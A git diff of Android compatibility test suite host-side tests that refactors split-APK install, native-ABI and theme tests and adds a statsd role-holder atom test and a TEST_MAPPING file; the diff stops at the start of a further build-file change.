diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
index 3fba518..fe773e6 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
@@ -20,14 +20,21 @@
 
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.AppModeInstant;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.Abi;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.IAbi;
+import com.android.tradefed.util.AbiUtils;
 
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.io.FileNotFoundException;
 import java.util.HashMap;
+import java.util.Set;
 
 /**
  * Tests that verify installing of various split APKs from host side.
@@ -39,7 +46,7 @@
     static final String APK_NO_RESTART_FEATURE = "CtsNoRestartFeature.apk";
 
     static final String APK_NEED_SPLIT_BASE = "CtsNeedSplitApp.apk";
-    static final String APK_NEED_SPLIT_FEATURE = "CtsNeedSplitFeature.apk";
+    static final String APK_NEED_SPLIT_FEATURE_WARM = "CtsNeedSplitFeatureWarm.apk";
     static final String APK_NEED_SPLIT_CONFIG = "CtsNeedSplitApp_xxhdpi-v4.apk";
 
     static final String PKG = "com.android.cts.splitapp";
@@ -53,6 +60,7 @@
     static final String APK_xxhdpi = "CtsSplitApp_xxhdpi-v4.apk";
 
     private static final String APK_v7 = "CtsSplitApp_v7.apk";
+    private static final String APK_v23 = "CtsSplitApp_v23.apk";
     private static final String APK_fr = "CtsSplitApp_fr.apk";
     private static final String APK_de = "CtsSplitApp_de.apk";
 
@@ -64,6 +72,10 @@
     private static final String APK_mips64 = "CtsSplitApp_mips64.apk";
     private static final String APK_mips = "CtsSplitApp_mips.apk";
 
+    private static final String APK_NUMBER_PROVIDER_A = "CtsSplitApp_number_provider_a.apk";
+    private static final String APK_NUMBER_PROVIDER_B = "CtsSplitApp_number_provider_b.apk";
+    private static final String APK_NUMBER_PROXY = "CtsSplitApp_number_proxy.apk";
+
     private static final String APK_DIFF_REVISION = "CtsSplitAppDiffRevision.apk";
     private static final String APK_DIFF_REVISION_v7 = "CtsSplitAppDiffRevision_v7.apk";
 
@@ -73,10 +85,22 @@
     private static final String APK_DIFF_CERT = "CtsSplitAppDiffCert.apk";
     private static final String APK_DIFF_CERT_v7 = "CtsSplitAppDiffCert_v7.apk";
 
-    private static final String APK_FEATURE = "CtsSplitAppFeature.apk";
-    private static final String APK_FEATURE_v7 = "CtsSplitAppFeature_v7.apk";
+    private static final String APK_FEATURE_WARM = "CtsSplitAppFeatureWarm.apk";
+    private static final String APK_FEATURE_WARM_v7 = "CtsSplitAppFeatureWarm_v7.apk";
+    private static final String APK_FEATURE_WARM_v23 = "CtsSplitAppFeatureWarm_v23.apk";
+
+    private static final String APK_FEATURE_ROSE = "CtsSplitAppFeatureRose.apk";
+    private static final String APK_FEATURE_ROSE_v23 = "CtsSplitAppFeatureRose_v23.apk";
+
+    private static final String APK_REVISION_A = "CtsSplitAppRevisionA.apk";
+    private static final String APK_FEATURE_WARM_REVISION_A = "CtsSplitAppFeatureWarmRevisionA.apk";
+
+    // Apk includes a provider and service declared in other split apk. And only could be tested in
+    // instant app mode.
+    static final String APK_INSTANT = "CtsSplitInstantApp.apk";
 
     static final HashMap<String, String> ABI_TO_APK = new HashMap<>();
+    static final HashMap<String, String> ABI_TO_REVISION_APK = new HashMap<>();
 
     static {
         ABI_TO_APK.put("x86", APK_x86);
@@ -86,6 +110,14 @@
         ABI_TO_APK.put("arm64-v8a", APK_arm64_v8a);
         ABI_TO_APK.put("mips64", APK_mips64);
         ABI_TO_APK.put("mips", APK_mips);
+
+        ABI_TO_REVISION_APK.put("x86", "CtsSplitApp_revision12_x86.apk");
+        ABI_TO_REVISION_APK.put("x86_64", "CtsSplitApp_revision12_x86_64.apk");
+        ABI_TO_REVISION_APK.put("armeabi-v7a", "CtsSplitApp_revision12_armeabi-v7a.apk");
+        ABI_TO_REVISION_APK.put("armeabi", "CtsSplitApp_revision12_armeabi.apk");
+        ABI_TO_REVISION_APK.put("arm64-v8a", "CtsSplitApp_revision12_arm64-v8a.apk");
+        ABI_TO_REVISION_APK.put("mips64", "CtsSplitApp_revision12_mips64.apk");
+        ABI_TO_REVISION_APK.put("mips", "CtsSplitApp_revision12_mips.apk");
     }
 
     @Before
@@ -211,20 +243,81 @@
     @Test
     @AppModeFull(reason = "'full' portion of the hostside test")
     public void testNativeSingle_full() throws Exception {
-        testNativeSingle(false);
+        testNativeSingle(false, false);
     }
     @Test
     @AppModeInstant(reason = "'instant' portion of the hostside test")
     public void testNativeSingle_instant() throws Exception {
-        testNativeSingle(true);
+        testNativeSingle(true, false);
     }
-    private void testNativeSingle(boolean instant) throws Exception {
+
+    private InstallMultiple getInstallMultiple(boolean instant, boolean useNaturalAbi) {
+        final InstallMultiple installMultiple = new InstallMultiple(instant);
+        if (useNaturalAbi) {
+            return installMultiple.useNaturalAbi();
+        }
+        return installMultiple;
+    }
+
+    private void testNativeSingle(boolean instant, boolean useNaturalAbi) throws Exception {
         final String abi = getAbi().getName();
         final String apk = ABI_TO_APK.get(abi);
+        final String revisionApk = ABI_TO_REVISION_APK.get(abi);
         assertNotNull("Failed to find APK for ABI " + abi, apk);
 
-        new InstallMultiple(instant).addFile(APK).addFile(apk).run();
+        getInstallMultiple(instant, useNaturalAbi).addFile(APK).addFile(apk).run();
         runDeviceTests(PKG, CLASS, "testNative");
+        runDeviceTests(PKG, CLASS, "testNativeRevision_sub_shouldImplementBadly");
+        getInstallMultiple(instant, useNaturalAbi).inheritFrom(PKG).addFile(revisionApk).run();
+        runDeviceTests(PKG, CLASS, "testNativeRevision_sub_shouldImplementWell");
+
+        getInstallMultiple(instant, useNaturalAbi).inheritFrom(PKG)
+                .addFile(APK_NUMBER_PROVIDER_A)
+                .addFile(APK_NUMBER_PROVIDER_B)
+                .addFile(APK_NUMBER_PROXY).run();
+        runDeviceTests(PKG, CLASS, "testNative_getNumberADirectly_shouldBeSeven");
+        runDeviceTests(PKG, CLASS, "testNative_getNumberAViaProxy_shouldBeSeven");
+        runDeviceTests(PKG, CLASS, "testNative_getNumberBDirectly_shouldBeEleven");
+        runDeviceTests(PKG, CLASS, "testNative_getNumberBViaProxy_shouldBeEleven");
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testNativeSplitForEachSupportedAbi_full() throws Exception {
+        testNativeForEachSupportedAbi(false);
+    }
+
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testNativeSplitForEachSupportedAbi_instant() throws Exception {
+        testNativeForEachSupportedAbi(true);
+    }
+
+
+    private void specifyAbiToTest(boolean instant, String abiListProperty, String testMethodName)
+            throws FileNotFoundException, DeviceNotAvailableException {
+        final String propertyAbiListValue = getDevice().getProperty(abiListProperty);
+        final Set<String> supportedAbiSet =
+                AbiUtils.parseAbiListFromProperty(propertyAbiListValue);
+        for (String abi : supportedAbiSet) {
+            String apk = ABI_TO_APK.get(abi);
+            new InstallMultiple(instant, true).inheritFrom(PKG).addFile(apk).run();
+
+            // Without specifying abi for executing "adb shell am",
+            // a UnsatisfiedLinkError will happen.
+            IAbi iAbi = new Abi(abi, AbiUtils.getBitness(abi));
+            setAbi(iAbi);
+            runDeviceTests(PKG, CLASS, testMethodName);
+        }
+    }
+
+    private void testNativeForEachSupportedAbi(boolean instant)
+            throws DeviceNotAvailableException, FileNotFoundException {
+        new InstallMultiple(instant, true).addFile(APK).run();
+
+        // make sure this device can run both 32 bit and 64 bit
+        specifyAbiToTest(instant, "ro.product.cpu.abilist64", "testNative64Bit");
+        specifyAbiToTest(instant, "ro.product.cpu.abilist32", "testNative32Bit");
     }
 
     /**
@@ -236,20 +329,12 @@
     @Test
     @AppModeFull(reason = "'full' portion of the hostside test")
     public void testNativeSingleNatural_full() throws Exception {
-        testNativeSingleNatural(false);
+        testNativeSingle(false, true);
     }
     @Test
     @AppModeInstant(reason = "'instant' portion of the hostside test")
     public void testNativeSingleNatural_instant() throws Exception {
-        testNativeSingleNatural(true);
-    }
-    private void testNativeSingleNatural(boolean instant) throws Exception {
-        final String abi = getAbi().getName();
-        final String apk = ABI_TO_APK.get(abi);
-        assertNotNull("Failed to find APK for ABI " + abi, apk);
-
-        new InstallMultiple(instant).useNaturalAbi().addFile(APK).addFile(apk).run();
-        runDeviceTests(PKG, CLASS, "testNative");
+        testNativeSingle(true, true);
     }
 
     /**
@@ -259,20 +344,37 @@
     @Test
     @AppModeFull(reason = "'full' portion of the hostside test")
     public void testNativeAll_full() throws Exception {
-        testNativeAll(false);
+        testNativeAll(false, false);
     }
     @Test
     @AppModeInstant(reason = "'instant' portion of the hostside test")
     public void testNativeAll_instant() throws Exception {
-        testNativeAll(true);
+        testNativeAll(true, false);
     }
-    private void testNativeAll(boolean instant) throws Exception {
-        final InstallMultiple inst = new InstallMultiple(instant).addFile(APK);
+    private void testNativeAll(boolean instant, boolean useNaturalAbi) throws Exception {
+        final InstallMultiple inst = getInstallMultiple(instant, useNaturalAbi).addFile(APK);
         for (String apk : ABI_TO_APK.values()) {
             inst.addFile(apk);
         }
         inst.run();
         runDeviceTests(PKG, CLASS, "testNative");
+        runDeviceTests(PKG, CLASS, "testNativeRevision_sub_shouldImplementBadly");
+
+        final InstallMultiple instInheritFrom =
+                getInstallMultiple(instant, useNaturalAbi).inheritFrom(PKG);
+        for (String apk : ABI_TO_REVISION_APK.values()) {
+            instInheritFrom.addFile(apk);
+        }
+        instInheritFrom.addFile(APK_NUMBER_PROVIDER_A);
+        instInheritFrom.addFile(APK_NUMBER_PROVIDER_B);
+        instInheritFrom.addFile(APK_NUMBER_PROXY);
+        instInheritFrom.run();
+        runDeviceTests(PKG, CLASS, "testNativeRevision_sub_shouldImplementWell");
+
+        runDeviceTests(PKG, CLASS, "testNative_getNumberADirectly_shouldBeSeven");
+        runDeviceTests(PKG, CLASS, "testNative_getNumberAViaProxy_shouldBeSeven");
+        runDeviceTests(PKG, CLASS, "testNative_getNumberBDirectly_shouldBeEleven");
+        runDeviceTests(PKG, CLASS, "testNative_getNumberBViaProxy_shouldBeEleven");
     }
 
     /**
@@ -284,20 +386,12 @@
     @Test
     @AppModeFull(reason = "'full' portion of the hostside test")
     public void testNativeAllNatural_full() throws Exception {
-        testNativeAllNatural(false);
+        testNativeAll(false, true);
     }
     @Test
     @AppModeInstant(reason = "'instant' portion of the hostside test")
     public void testNativeAllNatural_instant() throws Exception {
-        testNativeAllNatural(true);
-    }
-    private void testNativeAllNatural(boolean instant) throws Exception {
-        final InstallMultiple inst = new InstallMultiple(instant).useNaturalAbi().addFile(APK);
-        for (String apk : ABI_TO_APK.values()) {
-            inst.addFile(apk);
-        }
-        inst.run();
-        runDeviceTests(PKG, CLASS, "testNative");
+        testNativeAll(true, true);
     }
 
     @Test
@@ -452,44 +546,65 @@
 
     @Test
     @AppModeFull(reason = "'full' portion of the hostside test")
-    public void testFeatureBase_full() throws Exception {
-        testFeatureBase(false);
+    public void testFeatureWarmBase_full() throws Exception {
+        testFeatureWarmBase(false);
     }
     @Test
     @AppModeInstant(reason = "'instant' portion of the hostside test")
-    public void testFeatureBase_instant() throws Exception {
-        testFeatureBase(true);
+    public void testFeatureWarmBase_instant() throws Exception {
+        testFeatureWarmBase(true);
     }
-    private void testFeatureBase(boolean instant) throws Exception {
-        new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE).run();
-        runDeviceTests(PKG, CLASS, "testFeatureBase");
+    private void testFeatureWarmBase(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE_WARM).run();
+        runDeviceTests(PKG, CLASS, "testFeatureWarmBase");
     }
 
     @Test
     @AppModeFull(reason = "'full' portion of the hostside test")
-    public void testFeatureApi_full() throws Exception {
-        testFeatureApi(false);
+    public void testFeatureWarmApi_full() throws Exception {
+        testFeatureWarmApi(false);
     }
     @Test
     @AppModeInstant(reason = "'instant' portion of the hostside test")
-    public void testFeatureApi_instant() throws Exception {
-        testFeatureApi(true);
+    public void testFeatureWarmApi_instant() throws Exception {
+        testFeatureWarmApi(true);
     }
-    private void testFeatureApi(boolean instant) throws Exception {
-        new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE).addFile(APK_FEATURE_v7).run();
-        runDeviceTests(PKG, CLASS, "testFeatureApi");
+    private void testFeatureWarmApi(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE_WARM)
+                .addFile(APK_FEATURE_WARM_v7).run();
+        runDeviceTests(PKG, CLASS, "testFeatureWarmApi");
     }
 
     @Test
     @AppModeFull(reason = "'full' portion of the hostside test")
-    public void testInheritUpdatedBase() throws Exception {
-        // TODO: flesh out this test
+    public void testInheritUpdatedBase_full() throws Exception {
+        testInheritUpdatedBase(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testInheritUpdatedBase_instant() throws Exception {
+        testInheritUpdatedBase(true);
+    }
+    public void testInheritUpdatedBase(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE_WARM).run();
+        new InstallMultiple(instant).inheritFrom(PKG).addFile(APK_REVISION_A).run();
+        runDeviceTests(PKG, CLASS, "testInheritUpdatedBase_withRevisionA", instant);
     }
 
     @Test
     @AppModeFull(reason = "'full' portion of the hostside test")
-    public void testInheritUpdatedSplit() throws Exception {
-        // TODO: flesh out this test
+    public void testInheritUpdatedSplit_full() throws Exception {
+        testInheritUpdatedSplit(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testInheritUpdatedSplit_instant() throws Exception {
+        testInheritUpdatedSplit(true);
+    }
+    private void testInheritUpdatedSplit(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE_WARM).run();
+        new InstallMultiple(instant).inheritFrom(PKG).addFile(APK_FEATURE_WARM_REVISION_A).run();
+        runDeviceTests(PKG, CLASS, "testInheritUpdatedSplit_withRevisionA", instant);
     }
 
     @Test
@@ -521,12 +636,12 @@
     @Test
     @AppModeFull(reason = "'full' portion of the hostside test")
     public void testRequiredSplitMissing_full() throws Exception {
-        testSingleBase(false);
+        testRequiredSplitMissing(false);
     }
     @Test
     @AppModeInstant(reason = "'instant' portion of the hostside test")
     public void testRequiredSplitMissing_instant() throws Exception {
-        testSingleBase(true);
+        testRequiredSplitMissing(true);
     }
     private void testRequiredSplitMissing(boolean instant) throws Exception {
         new InstallMultiple(instant).addFile(APK_NEED_SPLIT_BASE)
@@ -535,28 +650,28 @@
 
     @Test
     @AppModeFull(reason = "'full' portion of the hostside test")
-    public void testRequiredSplitInstalledFeature_full() throws Exception {
-        testSingleBase(false);
+    public void testRequiredSplitInstalledFeatureWarm_full() throws Exception {
+        testRequiredSplitInstalledFeatureWarm(false);
     }
     @Test
     @AppModeInstant(reason = "'instant' portion of the hostside test")
-    public void testRequiredSplitInstalledFeature_instant() throws Exception {
-        testSingleBase(true);
+    public void testRequiredSplitInstalledFeatureWarm_instant() throws Exception {
+        testRequiredSplitInstalledFeatureWarm(true);
     }
-    private void testRequiredSplitInstalledFeature(boolean instant) throws Exception {
-        new InstallMultiple(instant).addFile(APK_NEED_SPLIT_BASE).addFile(APK_NEED_SPLIT_FEATURE)
-                .run();
+    private void testRequiredSplitInstalledFeatureWarm(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK_NEED_SPLIT_BASE)
+                .addFile(APK_NEED_SPLIT_FEATURE_WARM).run();
     }
 
     @Test
     @AppModeFull(reason = "'full' portion of the hostside test")
     public void testRequiredSplitInstalledConfig_full() throws Exception {
-        testSingleBase(false);
+        testRequiredSplitInstalledConfig(false);
     }
     @Test
     @AppModeInstant(reason = "'instant' portion of the hostside test")
     public void testRequiredSplitInstalledConfig_instant() throws Exception {
-        testSingleBase(true);
+        testRequiredSplitInstalledConfig(true);
     }
     private void testRequiredSplitInstalledConfig(boolean instant) throws Exception {
         new InstallMultiple(instant).addFile(APK_NEED_SPLIT_BASE).addFile(APK_NEED_SPLIT_CONFIG)
@@ -566,24 +681,24 @@
     @Test
     @AppModeFull(reason = "'full' portion of the hostside test")
     public void testRequiredSplitRemoved_full() throws Exception {
-        testSingleBase(false);
+        testRequiredSplitRemoved(false);
     }
     @Test
     @AppModeInstant(reason = "'instant' portion of the hostside test")
     public void testRequiredSplitRemoved_instant() throws Exception {
-        testSingleBase(true);
+        testRequiredSplitRemoved(true);
     }
     private void testRequiredSplitRemoved(boolean instant) throws Exception {
         // start with a base and two splits
         new InstallMultiple(instant)
                 .addFile(APK_NEED_SPLIT_BASE)
-                .addFile(APK_NEED_SPLIT_FEATURE)
+                .addFile(APK_NEED_SPLIT_FEATURE_WARM)
                 .addFile(APK_NEED_SPLIT_CONFIG)
                 .run();
         // it's okay to remove one of the splits
-        new InstallMultiple(instant).inheritFrom(PKG).removeSplit("split_feature").run();
+        new InstallMultiple(instant).inheritFrom(PKG).removeSplit("feature_warm").run();
         // but, not to remove all of them
-        new InstallMultiple(instant).inheritFrom(PKG).removeSplit("split_config.xxhdpi")
+        new InstallMultiple(instant).inheritFrom(PKG).removeSplit("config.xxhdpi")
                 .runExpectingFailure("INSTALL_FAILED_MISSING_SPLIT");
     }
 
@@ -606,4 +721,137 @@
         new InstallMultiple(instant).addArg("-r").addFile(APK_DIFF_VERSION).run();
         runDeviceTests(PKG, CLASS, "testCodeCacheRead");
     }
+
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testComponentWithSplitName_instant() throws Exception {
+        new InstallMultiple(true).addFile(APK_INSTANT).run();
+        runDeviceTests(PKG, CLASS, "testComponentWithSplitName_singleBase");
+        new InstallMultiple(true).inheritFrom(PKG).addFile(APK_FEATURE_WARM).run();
+        runDeviceTests(PKG, CLASS, "testComponentWithSplitName_featureWarmInstalled");
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testTheme_installBase_full() throws Exception {
+        testTheme_installBase(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testTheme_installBase_instant() throws Exception {
+        testTheme_installBase(true);
+    }
+    private void testTheme_installBase(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK).run();
+        runDeviceTests(PKG, CLASS, "launchBaseActivity_withThemeBase_baseApplied");
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testTheme_installBaseV23_full() throws Exception {
+        testTheme_installBaseV23(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testTheme_installBaseV23_instant() throws Exception {
+        testTheme_installBaseV23(true);
+    }
+    private void testTheme_installBaseV23(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK).addFile(APK_v23).run();
+        runDeviceTests(PKG, CLASS, "launchBaseActivity_withThemeBaseLt_baseLtApplied");
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testTheme_installFeatureWarm_full() throws Exception {
+        testTheme_installFeatureWarm(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testTheme_installFeatureWarm_instant() throws Exception {
+        testTheme_installFeatureWarm(true);
+    }
+    private void testTheme_installFeatureWarm(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE_WARM).run();
+        runDeviceTests(PKG, CLASS, "launchBaseActivity_withThemeWarm_warmApplied");
+        runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeBase_baseApplied");
+        runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeWarm_warmApplied");
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testTheme_installFeatureWarmV23_full() throws Exception {
+        testTheme_installFeatureWarmV23(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testTheme_installFeatureWarmV23_instant() throws Exception {
+        testTheme_installFeatureWarmV23(true);
+    }
+    private void testTheme_installFeatureWarmV23(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK).addFile(APK_v23).addFile(APK_FEATURE_WARM)
+                .addFile(APK_FEATURE_WARM_v23).run();
+        runDeviceTests(PKG, CLASS, "launchBaseActivity_withThemeWarmLt_warmLtApplied");
+        runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeBaseLt_baseLtApplied");
+        runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeWarmLt_warmLtApplied");
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testTheme_installFeatureWarmV23_removeV23_full() throws Exception {
+        testTheme_installFeatureWarmV23_removeV23(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testTheme_installFeatureWarmV23_removeV23_instant() throws Exception {
+        testTheme_installFeatureWarmV23_removeV23(true);
+    }
+    private void testTheme_installFeatureWarmV23_removeV23(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK).addFile(APK_v23).addFile(APK_FEATURE_WARM)
+                .addFile(APK_FEATURE_WARM_v23).run();
+        new InstallMultiple(instant).inheritFrom(PKG).removeSplit("config.v23")
+                .removeSplit("feature_warm.config.v23").run();
+        runDeviceTests(PKG, CLASS, "launchBaseActivity_withThemeWarm_warmApplied");
+        runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeBase_baseApplied");
+        runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeWarm_warmApplied");
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testTheme_installFeatureWarmAndRose_full() throws Exception {
+        testTheme_installFeatureWarmAndRose(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testTheme_installFeatureWarmAndRose_instant() throws Exception {
+        testTheme_installFeatureWarmAndRose(true);
+    }
+    private void testTheme_installFeatureWarmAndRose(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE_WARM)
+                .addFile(APK_FEATURE_ROSE).run();
+        runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeWarm_warmApplied");
+        runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeRose_roseApplied");
+        runDeviceTests(PKG, CLASS, "launchRoseActivity_withThemeWarm_warmApplied");
+        runDeviceTests(PKG, CLASS, "launchRoseActivity_withThemeRose_roseApplied");
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testTheme_installFeatureWarmAndRoseV23_full() throws Exception {
+        testTheme_installFeatureWarmAndRoseV23(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testTheme_installFeatureWarmAndRoseV23_instant() throws Exception {
+        testTheme_installFeatureWarmAndRoseV23(true);
+    }
+    private void testTheme_installFeatureWarmAndRoseV23(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK).addFile(APK_v23)
+                .addFile(APK_FEATURE_WARM).addFile(APK_FEATURE_WARM_v23)
+                .addFile(APK_FEATURE_ROSE).addFile(APK_FEATURE_ROSE_v23).run();
+        runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeWarmLt_warmLtApplied");
+        runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeRoseLt_roseLtApplied");
+        runDeviceTests(PKG, CLASS, "launchRoseActivity_withThemeWarmLt_warmLtApplied");
+        runDeviceTests(PKG, CLASS, "launchRoseActivity_withThemeRoseLt_roseLtApplied");
+    }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/StatsdAppSecurityAtomTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/StatsdAppSecurityAtomTest.java
new file mode 100644
index 0000000..7d46320
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/StatsdAppSecurityAtomTest.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+
+/**
+ * Set of tests that verify atoms are correctly sent to statsd.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class StatsdAppSecurityAtomTest extends BaseHostJUnit4Test {
+    private static final String STATSD_APP_APK = "CtsStatsSecurityApp.apk";
+    private static final String STATSD_APP_PKG = "com.android.cts.statsdsecurityapp";
+
+    @Before
+    public void setUp() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        installPackage(STATSD_APP_APK);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        getDevice().uninstallPackage(STATSD_APP_PKG);
+    }
+
+    @Test
+    public void testRoleHolder() throws Exception {
+        // Make device side test package a role holder
+        String callScreenAppRole = "android.app.role.CALL_SCREENING";
+        getDevice().executeShellCommand(
+                "cmd role add-role-holder " + callScreenAppRole + " "
+                        + STATSD_APP_PKG);
+
+        // Set up what to collect
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), STATSD_APP_PKG,
+                AtomsProto.Atom.ROLE_HOLDER_FIELD_NUMBER);
+
+        boolean verifiedKnowRoleState = false;
+
+        // Pull a report
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        int testAppId = getAppId(DeviceUtils.getAppUid(getDevice(), STATSD_APP_PKG));
+
+        for (AtomsProto.Atom atom : ReportUtils.getGaugeMetricAtoms(getDevice())) {
+            AtomsProto.RoleHolder roleHolder = atom.getRoleHolder();
+
+            assertThat(roleHolder.getPackageName()).isNotNull();
+            assertThat(roleHolder.getUid()).isAtLeast(0);
+            assertThat(roleHolder.getRole()).isNotNull();
+
+            if (roleHolder.getPackageName().equals(STATSD_APP_PKG)) {
+                assertThat(getAppId(roleHolder.getUid())).isEqualTo(testAppId);
+                assertThat(roleHolder.getPackageName()).isEqualTo(STATSD_APP_PKG);
+                assertThat(roleHolder.getRole()).isEqualTo(callScreenAppRole);
+
+                verifiedKnowRoleState = true;
+            }
+        }
+
+        assertThat(verifiedKnowRoleState).isTrue();
+    }
+
+    /**
+     * The app id from a uid.
+     *
+     * @param uid The uid of the app
+     * @return The app id of the app
+     * @see android.os.UserHandle#getAppId
+     */
+    private static int getAppId(int uid) {
+        return uid % 100000;
+    }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/TEST_MAPPING b/hostsidetests/appsecurity/src/android/appsecurity/cts/TEST_MAPPING
new file mode 100644
index 0000000..252d258
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/TEST_MAPPING
@@ -0,0 +1,22 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsAppSecurityHostTestCases",
+      "options": [
+        {
+          "include-filter": "android.appsecurity.cts.SplitTests"
+        }
+      ],
+      "file_patterns": ["SplitTests\\.java"]
+    },
+    {
+      "name": "CtsAppSecurityHostTestCases",
+      "options": [
+        {
+          "include-filter": "android.appsecurity.cts.IsolatedSplitsTests"
+        }
+      ],
+      "file_patterns": ["IsolatedSplitsTests\\.java"]
+    }
+  ]
+}
diff --git a/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/Android.bp b/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/Android.bp
index ba51823..d70f126 100644
--- a/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAccessSerialLegacy",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/AccessSerialModern/Android.bp b/hostsidetests/appsecurity/test-apps/AccessSerialModern/Android.bp
index 24b6ec1..30ca4ef 100644
--- a/hostsidetests/appsecurity/test-apps/AccessSerialModern/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/AccessSerialModern/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAccessSerialModern",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/Android.bp b/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/Android.bp
